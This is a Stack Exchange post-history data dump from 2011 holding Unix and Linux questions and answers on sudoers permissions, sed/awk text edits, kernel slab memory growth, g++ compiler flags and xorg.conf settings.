  <row Id="34167" PostHistoryTypeId="17" PostId="13678" RevisionGUID="eb583861-a78f-4dd7-8f37-ce07f00d9c75" CreationDate="2011-05-23T23:58:50.537" UserId="-1" Comment="from http://stackoverflow.com/questions/6103950/sudo-does-not-allow-me-to-run-cp" Text="" />
  <row Id="34168" PostHistoryTypeId="17" PostId="13679" RevisionGUID="b13d4720-46dd-48e1-82e9-9d722ebf8eaf" CreationDate="2011-05-23T23:58:50.537" UserId="-1" Comment="from http://stackoverflow.com/questions/6103950/sudo-does-not-allow-me-to-run-cp" Text="" />
  <row Id="34169" PostHistoryTypeId="17" PostId="13680" RevisionGUID="152f2b68-9e53-49ef-b198-63bc6c32c264" CreationDate="2011-05-23T23:58:50.537" UserId="-1" Comment="from http://stackoverflow.com/questions/6103950/sudo-does-not-allow-me-to-run-cp" Text="" />
  <row Id="34170" PostHistoryTypeId="2" PostId="13679" RevisionGUID="2c955b40-7a06-43b7-a18a-5f1a0fa409ce" CreationDate="2011-05-23T23:02:13.277" UserDisplayName="Razor Storm" Text="How is your sudoers file set up? This command doesn't say that root can't cp, but instead you aren't allowed to use cp AS root.&#xD;&#xA;&#xD;&#xA;You should have: `my_username ALL=(ALL) ALL` in the sudoers file" />
  <row Id="34171" PostHistoryTypeId="2" PostId="13680" RevisionGUID="46e82a26-1c61-4a32-b195-07b618038073" CreationDate="2011-05-23T23:18:56.383" UserDisplayName="Richo" Text="sudo does not implicitly give you root access.&#xD;&#xA;&#xD;&#xA;I would take a look in /etc/sudoers" />
  <row Id="34172" PostHistoryTypeId="2" PostId="13678" RevisionGUID="0d0b21be-1c16-4a16-a768-e7a7abd5882d" CreationDate="2011-05-23T22:56:04.840" UserDisplayName="algorithmicCoder" Text="Executing the following command on a CentOS 5 box&#xD;&#xA;&#xD;&#xA;    sudo cp file1  file2&#xD;&#xA;&#xD;&#xA;gives me the following error:&#xD;&#xA;&#xD;&#xA;    Sorry user my_username is not allowed to execute '/bin/cp file1 file2' as root on site_name.com&#xD;&#xA;&#xD;&#xA;How can root access not be enough? Any help is appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34173" PostHistoryTypeId="1" PostId="13678" RevisionGUID="0d0b21be-1c16-4a16-a768-e7a7abd5882d" CreationDate="2011-05-23T22:56:04.840" UserDisplayName="algorithmicCoder" Text="sudo does not allow me to run cp" />
  <row Id="34174" PostHistoryTypeId="3" PostId="13678" RevisionGUID="0d0b21be-1c16-4a16-a768-e7a7abd5882d" CreationDate="2011-05-23T22:56:04.840" UserDisplayName="algorithmicCoder" Text="élinuxàécentosàésudoà" />
  <row Id="34175" PostHistoryTypeId="25" PostId="13676" RevisionGUID="85e28300-1f64-4e96-90ac-cb6cb9927609" CreationDate="2011-05-24T00:12:37.140" Comment="http://twitter.com/#!/StackUnix/status/72817237421076482" />
  <row Id="34176" PostHistoryTypeId="2" PostId="13681" RevisionGUID="ddec992b-0311-4950-b724-a64ee7c39a24" CreationDate="2011-05-24T00:14:05.237" UserId="885" Text="Here's an awk solution. If a line ends with a `\`, strip the backslash and print the line with no terminating newline; otherwise print the line with a terminating newline.&#xD;&#xA;&#xD;&#xA;    awk '{if (sub(/\\$/,&quot;&quot;)) printf &quot;%s&quot;, $0; else print $0}'&#xD;&#xA;&#xD;&#xA;Here's a sed solution (I think, I haven't really tested it). It'll eat the end of the file if the last line ends in a backslash. Attempt to understand it at your own risk. Suggestions of a simpler way are welcome (can sed be convinced to print text without a final newline?).&#xD;&#xA;&#xD;&#xA;    sed -n -e 's/\\$//' -e 't b' \&#xD;&#xA;        -e x -e G -e 's/\n//g' -e p -e 's/.*//' -e x -e b \&#xD;&#xA;        -e ': b' -e H" />
  <row Id="34177" PostHistoryTypeId="5" PostId="13602" RevisionGUID="6f5324b9-4fcd-4401-a4ba-73cc2734722b" CreationDate="2011-05-24T00:22:43.540" UserId="1571" Comment="added 2160 characters in body" Text="I'm in the process of QA/debugging a project on a custom embedded linux system. The problem we're VERY tight on memory, and even a couple megs can cause issues with our software.&#xD;&#xA;&#xD;&#xA;What I'm seeing (sometimes) is that when our system crashes (soft crashes), our own software isn't taking up any more memory than usual. But what's weird is that the linux kernel slab has a MUCH higher than normal number of objects in its 32byte slab cache:&#xD;&#xA;&#xD;&#xA;    size-32           103674 103734     32  113    1 : tunables  120   60    0 : slabdata    918    918      0&#xD;&#xA;&#xD;&#xA;This is what the slab looks like under normal circumstances:&#xD;&#xA;&#xD;&#xA;    size-32             5400   6554     32  113    1 : tunables  120   60    0 : slabdata     58     58      0&#xD;&#xA;&#xD;&#xA;Obviously that's a significant difference. &#xD;&#xA;&#xD;&#xA;I know there's not much information here, but this is really all the information I have to go on. Is there any way to determine what the slab contains? Or where it was allocated from or anything like that? Or maybe just force it to free its memory?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is running on an ARM based board with 64mB of ram running a 2.6.30 kernel.&#xD;&#xA;&#xD;&#xA;Btw, this is the entirety of what's running on the machine.&#xD;&#xA;&#xD;&#xA;    10711  8778 root     R     2980  4.9   0  0.0 top&#xD;&#xA;     8745  2740 root     S     6452 10.7   0  0.0 sshd: root@ttyp1&#xD;&#xA;     9411  2740 root     S     6312 10.4   0  0.0 sshd: root@ttyp2&#xD;&#xA;     2740     1 root     S     3704  6.1   0  0.0 /usr/sbin/sshd&#xD;&#xA;     8778  8745 root     S     2984  4.9   0  0.0 -sh&#xD;&#xA;    10034  9411 root     S     2984  4.9   0  0.0 -sh&#xD;&#xA;        1     0 root     S     2980  4.9   0  0.0 init&#xD;&#xA;     9432     1 root     S     2848  4.7   0  0.0 runsv ui&#xD;&#xA;     1115     1 root     S &lt;   1576  2.6   0  0.0 udevd --daemon&#xD;&#xA;      989     2 root     SW&lt;      0  0.0   0  0.0 [mmcqd]&#xD;&#xA;      223     2 root     SW&lt;      0  0.0   0  0.0 [kswapd0]&#xD;&#xA;      175     2 root     SW&lt;      0  0.0   0  0.0 [kblockd/0]&#xD;&#xA;      222     2 root     SW       0  0.0   0  0.0 [pdflush]&#xD;&#xA;      221     2 root     SW       0  0.0   0  0.0 [pdflush]&#xD;&#xA;        6     2 root     SW&lt;      0  0.0   0  0.0 [khelper]&#xD;&#xA;        5     2 root     SW&lt;      0  0.0   0  0.0 [events/0]&#xD;&#xA;      186     2 root     SW&lt;      0  0.0   0  0.0 [khubd]&#xD;&#xA;        2     0 root     SW&lt;      0  0.0   0  0.0 [kthreadd]&#xD;&#xA;      220     2 root     SW       0  0.0   0  0.0 [khungtaskd]&#xD;&#xA;        3     2 root     SW&lt;      0  0.0   0  0.0 [ksoftirqd/0]&#xD;&#xA;        4     2 root     SW&lt;      0  0.0   0  0.0 [watchdog/0]&#xD;&#xA;       12     2 root     SW&lt;      0  0.0   0  0.0 [async/mgr]&#xD;&#xA;      189     2 root     SW&lt;      0  0.0   0  0.0 [kseriod]&#xD;&#xA;      194     2 root     SW&lt;      0  0.0   0  0.0 [kmmcd]&#xD;&#xA;      224     2 root     SW&lt;      0  0.0   0  0.0 [aio/0]&#xD;&#xA;      225     2 root     SW&lt;      0  0.0   0  0.0 [unionfs_siod/0]&#xD;&#xA;      226     2 root     SW&lt;      0  0.0   0  0.0 [nfsiod]&#xD;&#xA;      227     2 root     SW&lt;      0  0.0   0  0.0 [crypto/0]&#xD;&#xA;      895     2 root     SW&lt;      0  0.0   0  0.0 [zd1211rw]&#xD;&#xA;      899     2 root     SW&lt;      0  0.0   0  0.0 [mtdblockd]&#xD;&#xA;      972     2 root     SW&lt;      0  0.0   0  0.0 [usbhid_resumer]&#xD;&#xA;      992     2 root     SW&lt;      0  0.0   0  0.0 [rpciod/0]&#xD;&#xA;&#xD;&#xA;and it's still growing&#xD;&#xA;&#xD;&#xA;    size-32           181312 181365     32  113    1 : tunables  120   60    0 : slabdata   1605   1605      0&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;This is the current state:&#xD;&#xA;&#xD;&#xA;    Mem: 38416K used, 21764K free, 0K shrd, 1836K buff, 11548K cached&#xD;&#xA;    CPU:  0.0% usr  0.0% sys  0.0% nic  100% idle  0.0% io  0.0% irq  0.0% sirq&#xD;&#xA;    Load average: 0.01 0.02 0.05 1/28 11050&#xD;&#xA;      PID  PPID USER     STAT   VSZ %MEM CPU %CPU COMMAND&#xD;&#xA;     8745     1 root     S     6452 10.7   0  0.0 sshd: root@ttyp1&#xD;&#xA;    11045     1 root     S     3704  6.1   0  0.0 /usr/sbin/sshd&#xD;&#xA;     8778  8745 root     S     2984  4.9   0  0.0 -sh&#xD;&#xA;        1     0 root     S     2980  4.9   0  0.0 init&#xD;&#xA;    11050  8778 root     R     2980  4.9   0  0.0 top&#xD;&#xA;      989     2 root     SW&lt;      0  0.0   0  0.0 [mmcqd]&#xD;&#xA;      223     2 root     SW&lt;      0  0.0   0  0.0 [kswapd0]&#xD;&#xA;      175     2 root     SW&lt;      0  0.0   0  0.0 [kblockd/0]&#xD;&#xA;      222     2 root     SW       0  0.0   0  0.0 [pdflush]&#xD;&#xA;      221     2 root     SW       0  0.0   0  0.0 [pdflush]&#xD;&#xA;        6     2 root     SW&lt;      0  0.0   0  0.0 [khelper]&#xD;&#xA;        5     2 root     SW&lt;      0  0.0   0  0.0 [events/0]&#xD;&#xA;      186     2 root     SW&lt;      0  0.0   0  0.0 [khubd]&#xD;&#xA;        2     0 root     SW&lt;      0  0.0   0  0.0 [kthreadd]&#xD;&#xA;      220     2 root     SW       0  0.0   0  0.0 [khungtaskd]&#xD;&#xA;        3     2 root     SW&lt;      0  0.0   0  0.0 [ksoftirqd/0]&#xD;&#xA;        4     2 root     SW&lt;      0  0.0   0  0.0 [watchdog/0]&#xD;&#xA;       12     2 root     SW&lt;      0  0.0   0  0.0 [async/mgr]&#xD;&#xA;      189     2 root     SW&lt;      0  0.0   0  0.0 [kseriod]&#xD;&#xA;      194     2 root     SW&lt;      0  0.0   0  0.0 [kmmcd]&#xD;&#xA;      224     2 root     SW&lt;      0  0.0   0  0.0 [aio/0]&#xD;&#xA;      225     2 root     SW&lt;      0  0.0   0  0.0 [unionfs_siod/0]&#xD;&#xA;      226     2 root     SW&lt;      0  0.0   0  0.0 [nfsiod]&#xD;&#xA;      227     2 root     SW&lt;      0  0.0   0  0.0 [crypto/0]&#xD;&#xA;      895     2 root     SW&lt;      0  0.0   0  0.0 [zd1211rw]&#xD;&#xA;      899     2 root     SW&lt;      0  0.0   0  0.0 [mtdblockd]&#xD;&#xA;      972     2 root     SW&lt;      0  0.0   0  0.0 [usbhid_resumer]&#xD;&#xA;      992     2 root     SW&lt;      0  0.0   0  0.0 [rpciod/0]&#xD;&#xA;  &#xD;&#xA;&lt;br&gt;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    size-32           191069 191083     32  113    1 : tunables  120   60    0 : slabdata   1691   1691      0&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34178" PostHistoryTypeId="2" PostId="13682" RevisionGUID="7d349f15-24bf-4a05-ad4e-5459f34cc023" CreationDate="2011-05-24T00:50:20.873" UserId="7716" Text="    g++ -Wall -I/usr/local/include/thrift *.cpp -lthrift -o something&#xD;&#xA;&#xD;&#xA;I am new to Linux and am trying to learn &quot;as I go along&quot;....This is from the Apache Thrift website.&#xD;&#xA;&#xD;&#xA;Also is the -I/usr supposed to be -I /usr?&#xD;&#xA;&#xD;&#xA;Thanks for your help!" />
  <row Id="34179" PostHistoryTypeId="1" PostId="13682" RevisionGUID="7d349f15-24bf-4a05-ad4e-5459f34cc023" CreationDate="2011-05-24T00:50:20.873" UserId="7716" Text="What does this Linux command do?" />
  <row Id="34180" PostHistoryTypeId="3" PostId="13682" RevisionGUID="7d349f15-24bf-4a05-ad4e-5459f34cc023" CreationDate="2011-05-24T00:50:20.873" UserId="7716" Text="élinuxàébashàécentosà" />
  <row Id="34183" PostHistoryTypeId="2" PostId="13684" RevisionGUID="ef274dba-f4a3-439b-9b0e-6ee28c1e7d53" CreationDate="2011-05-24T01:05:01.643" UserId="2664" Text="Here is a breakdown of the command. First the original command, for reference&#xD;&#xA;&#xD;&#xA;    g++ -Wall -I/usr/local/include/thrift *.cpp -lthrift -o something&#xD;&#xA;&#xD;&#xA;Now, for the breakdown.&#xD;&#xA;&#xD;&#xA;    g++&#xD;&#xA;&#xD;&#xA;This is the actual command command, `g++`. It is the program that is being executed. Here is what it is, from the man page:&#xD;&#xA;&#xD;&#xA;&gt; gcc - GNU project C and C++ compiler&#xD;&#xA;&#xD;&#xA;This is a compiler for programs written in C++ and C. It takes C or C++ code and turns it into a program, basically.&#xD;&#xA;&#xD;&#xA;    -Wall&#xD;&#xA;&#xD;&#xA;This part makes it display all warnings when compiling. (Warn All)&#xD;&#xA;&#xD;&#xA;    -I/usr/local/include/thrift&#xD;&#xA;&#xD;&#xA;This part tells `g++` to use `/usr/local/include/thrift` as the directory to get the header files from. And with the question about whether to put a space after the I or not. You can do it either way. The way the options (options are things in a command after `-` signs. `-Wall` and `-I` are options) are parsed allows you to put a space or not. It depends on your personal preference.&#xD;&#xA;&#xD;&#xA;    *.cpp&#xD;&#xA;&#xD;&#xA;This part passes every `.cpp` file in the current directory to the `g++` command.&#xD;&#xA;&#xD;&#xA;    -lthrift&#xD;&#xA;&#xD;&#xA;This can also be `-l thrift`. It tells `g++` to search the `thrift` library when linking.&#xD;&#xA;&#xD;&#xA;    -o something&#xD;&#xA;&#xD;&#xA;This tells it that when everything is compiled to place the executable in the file `something`.&#xD;&#xA;&#xD;&#xA;I hope this helps and please comment if anything is unclear!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34184" PostHistoryTypeId="2" PostId="13685" RevisionGUID="0b548cd3-8c12-4d62-8dd9-6ed60c281ef5" CreationDate="2011-05-24T01:19:26.957" UserId="885" Text="Generally you should look for the documentation of a command in its [man page](http://en.wikipedia.org/wiki/Man_page): `man g++`. In the case of GNU software such as GCC, you'll usually find more complete documentation in [info format](http://en.wikipedia.org/wiki/Info_%28Unix%29), or in HTML on the [software home page](http://www.gnu.org/software/gcc/).&#xD;&#xA;&#xD;&#xA;C (and C++) compilers have a somewhat peculiar syntax that doesn't heed the usual conventions for options (options come before operand, there's an optional space between an option and its argument, …). The space after `-I` is actually optional, but `-Wall` needs to be one word.&#xD;&#xA;&#xD;&#xA;Here's a quick overview of that command (look in the documentation for details):&#xD;&#xA;&#xD;&#xA;* `g++` run a C++ compiler&#xD;&#xA;* `-Wall` emit warnings on suspicious code (`-Wall` actually means important warnings only, not all possible warnings)&#xD;&#xA;* `-I/usr/local/include/thrift` look in that directory for include files (`#include` directives)&#xD;&#xA;* `*.cpp` compile these files&#xD;&#xA;* `-lthrift` link with this library (this searches `libthrift.a`). Note that `-l` must come after the files you're compiling, because `-l` means “if there are any undefined symbols at this point, look for definitions in the specificed library”&#xD;&#xA;* `-o something` put the compiled and linked output into the specified file&#xD;&#xA;" />
  <row Id="34185" PostHistoryTypeId="6" PostId="13682" RevisionGUID="6ffd1d94-4847-43a8-aa85-c628a95a4eef" CreationDate="2011-05-24T01:19:58.470" UserId="885" Comment="edited tags" Text="écommandölineàécompilingàécççà" />
  <row Id="34186" PostHistoryTypeId="5" PostId="13570" RevisionGUID="9beaa754-25e0-4be3-830b-734268e54a3c" CreationDate="2011-05-24T01:38:04.420" UserId="4193" Comment="Italicized program names." Text="Ok, Skype yet again has issues with sound.  This time, it is unable to record audio.  The system is using PulseAudio and I am using a web cam as a microphone.  Actually, I tried another web cam and had both plugged in at one point.  lsusb shows the devices plugged in.  Skype only allows selecting pulseaudio as the input device, with no other choices.  Skype only seems to see the mic input on the analog sound card (which has no mic attached).  &#xD;&#xA;&#xD;&#xA;I have tried using &lt;i&gt;KMix&lt;/i&gt;, the KDE &lt;i&gt;phonon dialog&lt;/i&gt; (hidden in &lt;i&gt;KMix&lt;/i&gt;'s menus), &lt;i&gt;alsamixer&lt;/i&gt; and even happened across &lt;i&gt;pavucontrol&lt;/i&gt;.  None seemed to be able to reorder the preference for device to use as the mic or at least select the desired mic.  It could be a flaw in OpenSUSE 11.4, or I could just be missing something obvious.  All would show that the webcam mic was available and allow me to set the input levels, for either webcam.&#xD;&#xA;&#xD;&#xA;How do I select the webcam mic?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34187" PostHistoryTypeId="6" PostId="13570" RevisionGUID="9beaa754-25e0-4be3-830b-734268e54a3c" CreationDate="2011-05-24T01:38:04.420" UserId="4193" Comment="Italicized program names." Text="élinuxàéaudioàéskypeàépulseaudioà" />
  <row Id="34188" PostHistoryTypeId="2" PostId="13686" RevisionGUID="bb8edc61-5ff0-42f1-8262-6152cf8d9bcd" CreationDate="2011-05-24T01:46:32.707" UserId="7716" Text="Why would you do &#xD;&#xA;&#xD;&#xA;`g++ -Wall -I/usr/local/include/thrift *.cpp -lthrift -o something`&#xD;&#xA;&#xD;&#xA;Instead of :&#xD;&#xA;&#xD;&#xA;`g++ -Wall -I/usr/local/include/thrift -c Something.cpp -o something.o&#xD;&#xA;g++ -Wall -I/usr/local/include/thrift -c Something_server.cpp -o server.o&#xD;&#xA;g++ -Wall -I/usr/local/include/thrift -c your_thrift_file_constants.cpp -o constants.o&#xD;&#xA;g++ -Wall -I/usr/local/include/thrift -c your_thrift_file_types.cpp -o types.o`&#xD;&#xA;&#xD;&#xA;and then &#xD;&#xA;`g++ -L/usr/local/lib -lthrift *.o -o Something_server`&#xD;&#xA;&#xD;&#xA;Am i right that the first step does essentially the same thing as the second sequence?&#xD;&#xA;Also to make them identical should `something` be `Something_server` in the first line?" />
  <row Id="34189" PostHistoryTypeId="1" PostId="13686" RevisionGUID="bb8edc61-5ff0-42f1-8262-6152cf8d9bcd" CreationDate="2011-05-24T01:46:32.707" UserId="7716" Text="why would one want to compile multiple .cpp files to the same executable?" />
  <row Id="34190" PostHistoryTypeId="3" PostId="13686" RevisionGUID="bb8edc61-5ff0-42f1-8262-6152cf8d9bcd" CreationDate="2011-05-24T01:46:32.707" UserId="7716" Text="élinuxàécommandölineàécompilingàécàécççà" />
  <row Id="34191" PostHistoryTypeId="5" PostId="13686" RevisionGUID="afe27c57-12fb-4856-99d3-07f1201bf7f3" CreationDate="2011-05-24T02:15:31.747" UserId="73" Comment="added 24 characters in body; edited title" Text="Why would you do &#xD;&#xA;&#xD;&#xA;    g++ -Wall -I/usr/local/include/thrift *.cpp -lthrift -o something&#xD;&#xA;&#xD;&#xA;instead of:&#xD;&#xA;&#xD;&#xA;    g++ -Wall -I/usr/local/include/thrift -c Something.cpp -o something.o&#xD;&#xA;    g++ -Wall -I/usr/local/include/thrift -c Something_server.cpp -o server.o&#xD;&#xA;    g++ -Wall -I/usr/local/include/thrift -c your_thrift_file_constants.cpp -o constants.o&#xD;&#xA;    g++ -Wall -I/usr/local/include/thrift -c your_thrift_file_types.cpp -o types.o&#xD;&#xA;&#xD;&#xA;and then:&#xD;&#xA;&#xD;&#xA;    g++ -L/usr/local/lib -lthrift *.o -o Something_server&#xD;&#xA;&#xD;&#xA;Am I right that the first step does essentially the same thing as the second sequence?&#xD;&#xA;&#xD;&#xA;Also, to make them identical should `something` be `Something_server` in the first line?&#xD;&#xA;" />
  <row Id="34192" PostHistoryTypeId="4" PostId="13686" RevisionGUID="afe27c57-12fb-4856-99d3-07f1201bf7f3" CreationDate="2011-05-24T02:15:31.747" UserId="73" Comment="added 24 characters in body; edited title" Text="Why would one want to compile multiple .cpp files to the same executable?" />
  <row Id="34193" PostHistoryTypeId="2" PostId="13687" RevisionGUID="25c4f22f-a6f8-490f-be9d-6a82462da208" CreationDate="2011-05-24T02:24:00.953" UserId="73" Text="You're right that you'll end up with the same executable at the end (albeit with a different name); in the first case gcc will actually create a bunch of temporary object files that it removes after linking, versus the second case where you're making the object files yourself.&#xD;&#xA;&#xD;&#xA;The main reason to do things the second way is to allow for **incremental building**. After you've compiled your project once, say you change `Something.cpp`. The only object file affected is `something.o` -- there's no reason to waste time rebuilding the others. A build system like `make` would recognize that and only rebuild `something.o` before linking all the object files together." />
  <row Id="34194" PostHistoryTypeId="25" PostId="13682" RevisionGUID="90f08b92-1047-4189-9bda-cadeb2744d75" CreationDate="2011-05-24T03:12:37.500" Comment="http://twitter.com/#!/StackUnix/status/72862537724592128" />
  <row Id="34195" PostHistoryTypeId="2" PostId="13688" RevisionGUID="e79145ea-edb7-4cd1-9d7b-38f57507f38d" CreationDate="2011-05-24T05:38:48.803" UserId="7723" Text="How do I replace a single blank line with two lines of content. I did see a question on [replacing multiple blank lines with a single blank line in vim sed](http://unix.stackexchange.com/questions/12812/replacing-multiple-blank-lines-with-a-single-blank-line-in-vim-sed) but don't quite see how to adapt that. So, for example, if my input file is:&#xD;&#xA;&#xD;&#xA;    % abd&#xD;&#xA;    % def&#xD;&#xA;    &#xD;&#xA;    % jkl&#xD;&#xA;&#xD;&#xA;I would like to have a sed command that replaces the blank line with these two lines:&#xD;&#xA;&#xD;&#xA;    % abd&#xD;&#xA;    % def&#xD;&#xA;    % ghi&#xD;&#xA;    %&#xD;&#xA;    % ghi&#xD;&#xA;" />
  <row Id="34196" PostHistoryTypeId="1" PostId="13688" RevisionGUID="e79145ea-edb7-4cd1-9d7b-38f57507f38d" CreationDate="2011-05-24T05:38:48.803" UserId="7723" Text="sed command to replace a blank line with two lines of content" />
  <row Id="34197" PostHistoryTypeId="3" PostId="13688" RevisionGUID="e79145ea-edb7-4cd1-9d7b-38f57507f38d" CreationDate="2011-05-24T05:38:48.803" UserId="7723" Text="ésedàécshà" />
  <row Id="34198" PostHistoryTypeId="2" PostId="13689" RevisionGUID="22b1367c-d29b-4445-b2ae-0b2eed89b0bb" CreationDate="2011-05-24T05:44:02.113" UserId="73" Text="Sed matches entire lines but doesn't include the newline, so a blank line will just be an empty string. You can use `^` to match the beginning of a line and `$` to match the end, so `^$` matches a blank line. Just replace that with `% ghi\n%`:&#xD;&#xA;&#xD;&#xA;    sed 's/^$/% ghi\n%/'&#xD;&#xA;&#xD;&#xA;The newline that already existed will remain, so you'll end up with `% ghi` on one line and `%` on the next" />
  <row Id="34199" PostHistoryTypeId="2" PostId="13690" RevisionGUID="47eb200a-6dd9-4eb3-bf03-e0433fc5a19c" CreationDate="2011-05-24T05:50:03.103" UserId="5131" Text="    sed '/^$/{i\&#xD;&#xA;    % ghi\&#xD;&#xA;    %&#xD;&#xA;    d&#xD;&#xA;    }'&#xD;&#xA;&#xD;&#xA;When `sed` finds a blank line, this inserts the two lines '`% ghi`' and '`%`', then deletes the blank line.&#xD;&#xA;" />
  <row Id="34200" PostHistoryTypeId="5" PostId="13689" RevisionGUID="b6d9a52d-1eee-47ff-8cb3-af1d0cd3086c" CreationDate="2011-05-24T06:01:31.447" UserId="73" Comment="added 497 characters in body; added 2 characters in body; edited body" Text="Sed matches entire lines but doesn't include the newline, so a blank line will just be an empty string. You can use `^` to match the beginning of a line and `$` to match the end, so `^$` matches a blank line. Just replace that with `% ghi\n%`:&#xD;&#xA;&#xD;&#xA;    sed 's/^$/% ghi\n%/'&#xD;&#xA;&#xD;&#xA;The newline that already existed will remain, so you'll end up with `% ghi` on one line and `%` on the next&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**: If it needs to only match once then the expression is a bit more complicated. The easiest way I know to do it in `sed` is:&#xD;&#xA;&#xD;&#xA;    sed '0,/^$/ {s/^$/% ghi\n%/}'&#xD;&#xA;&#xD;&#xA;The replacement is wrapped in an address range `0,/^$/`, which means &quot;only apply the following to the lines between 0 and the first line that matches `^$`&quot;. Since the replacement expression checks for `^$` as well, the only line that's actually going to change is the first that matches `^$` -- the first blank line" />
  <row Id="34201" PostHistoryTypeId="25" PostId="13686" RevisionGUID="552e0425-c4bc-4df7-90ce-3f29f436ca42" CreationDate="2011-05-24T06:12:37.003" Comment="http://twitter.com/#!/StackUnix/status/72907833485701121" />
  <row Id="34202" PostHistoryTypeId="2" PostId="13691" RevisionGUID="04eddf43-8058-42c4-bc53-1d4cd8798a17" CreationDate="2011-05-24T08:51:05.057" UserId="1078" Text="It is possibly easiest with perl (since perl is like sed and awk, I hope it is acceptable to you):&#xD;&#xA;&#xD;&#xA;    perl -p -e 's/\\\n//'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34203" PostHistoryTypeId="25" PostId="13688" RevisionGUID="2f1cf591-5afa-44c0-9e24-c2cacb0eb902" CreationDate="2011-05-24T09:12:36.997" Comment="http://twitter.com/#!/StackUnix/status/72953132132478976" />
  <row Id="34204" PostHistoryTypeId="2" PostId="13692" RevisionGUID="736c9852-f2e8-4253-98b6-1308a0afa8d4" CreationDate="2011-05-24T09:45:20.843" UserId="7572" Text="I was able to achieve the desired aim with the following xorg.conf:&#xD;&#xA;&#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            Identifier      &quot;laptop panel&quot;&#xD;&#xA;            Option  &quot;ignore&quot;        &quot;true&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;            Identifier      &quot;big display&quot;&#xD;&#xA;    EndSection    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;            Identifier      &quot;onboard&quot;&#xD;&#xA;            Option  &quot;Monitor-LVDS1&quot; &quot;laptop panel&quot;&#xD;&#xA;            Option  &quot;Monitor-DVI1&quot; &quot;big display&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;the critical element being `Option &quot;Ignore&quot; &quot;true&quot;`. I might be able to simplify this further, but it works. I don't yet know what will happen when/if I use the laptop away from the external display, possibly X will exit with an error - not a perfect solution but I can move the configuration out of the way in that event." />
  <row Id="34205" PostHistoryTypeId="2" PostId="13693" RevisionGUID="74c84291-777d-4810-9e84-057e6f1b2e13" CreationDate="2011-05-24T10:06:21.317" UserId="6960" Text="Are there any drivers/application that can read/write ext2/ext3/ext4/btrfs/jfs/xfs filesystems from Windows?&lt;br&gt;&#xD;&#xA;E.g.: a removable drive is formatted with EXT3.. how can I write it under Windows XP/7?&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="34206" PostHistoryTypeId="1" PostId="13693" RevisionGUID="74c84291-777d-4810-9e84-057e6f1b2e13" CreationDate="2011-05-24T10:06:21.317" UserId="6960" Text="Tools to see ext2/ext3/ext4/btrfs/jfs/xfs filesystems under windows?" />
  <row Id="34207" PostHistoryTypeId="3" PostId="13693" RevisionGUID="74c84291-777d-4810-9e84-057e6f1b2e13" CreationDate="2011-05-24T10:06:21.317" UserId="6960" Text="élinuxàéwindowsàécompatibilityà" />
  <row Id="34208" PostHistoryTypeId="17" PostId="13694" RevisionGUID="1914bd4a-3005-44d0-aafb-a2a8ccd8bd69" CreationDate="2011-05-24T10:07:50.663" UserId="-1" Comment="from http://stackoverflow.com/questions/6108582/open-bash-profile-conflict-on-ubuntu" Text="" />
  <row Id="34209" PostHistoryTypeId="2" PostId="13694" RevisionGUID="b83095f0-7111-444d-8ae9-5e4d0a2bb6ef" CreationDate="2011-05-24T09:47:59.310" UserDisplayName="user264341" Text="Hi,&#xD;&#xA;&#xD;&#xA;I want to edit .bash_profile on my ubuntu system.When I try to run this below command,It showing me this below message:&#xD;&#xA;&#xD;&#xA;'Couldn't get a file descriptor referring to the console'&#xD;&#xA;&#xD;&#xA;Please guide me,how i can overcome this problem and edit bash file&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Deepak" />
  <row Id="34210" PostHistoryTypeId="1" PostId="13694" RevisionGUID="b83095f0-7111-444d-8ae9-5e4d0a2bb6ef" CreationDate="2011-05-24T09:47:59.310" UserDisplayName="user264341" Text="'Open .bash_profile' conflict on ubuntu" />
  <row Id="34211" PostHistoryTypeId="3" PostId="13694" RevisionGUID="b83095f0-7111-444d-8ae9-5e4d0a2bb6ef" CreationDate="2011-05-24T09:47:59.310" UserDisplayName="user264341" Text="éubuntuà" />
  <row Id="34212" PostHistoryTypeId="2" PostId="13695" RevisionGUID="9369bca3-4c2e-428a-8175-7075910e9349" CreationDate="2011-05-24T10:12:34.970" UserId="3013" Text="Just for ext2/ext3 and ext4(only reading) [ext2fsd][1]&#xD;&#xA;&#xD;&#xA;    Features Ext2Fsd supports:&#xD;&#xA;    ext2/ext3 volume reading &amp; writing&#xD;&#xA;    ext3 journal replay when mounting&#xD;&#xA;    various codepage: utf8, cp936, cp950 …&#xD;&#xA;    mountpoint automatical assignment&#xD;&#xA;    large inode size: 128, 256, …&#xD;&#xA;    large file size bigger than 4G&#xD;&#xA;    CIFS sharing over network&#xD;&#xA;    htree directory indexing&#xD;&#xA;    ext4 extent read-only, no  size truncating and expanding support&#xD;&#xA;    Fast fsck (uninit_bg) and group block checksum support&#xD;&#xA;    64k block-size, support compatible to Linux ext4 and e2fsprogs&#xD;&#xA;    OS: 2k, xp, vista, server 2003/2008, win7&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ext2fsd.com/" />
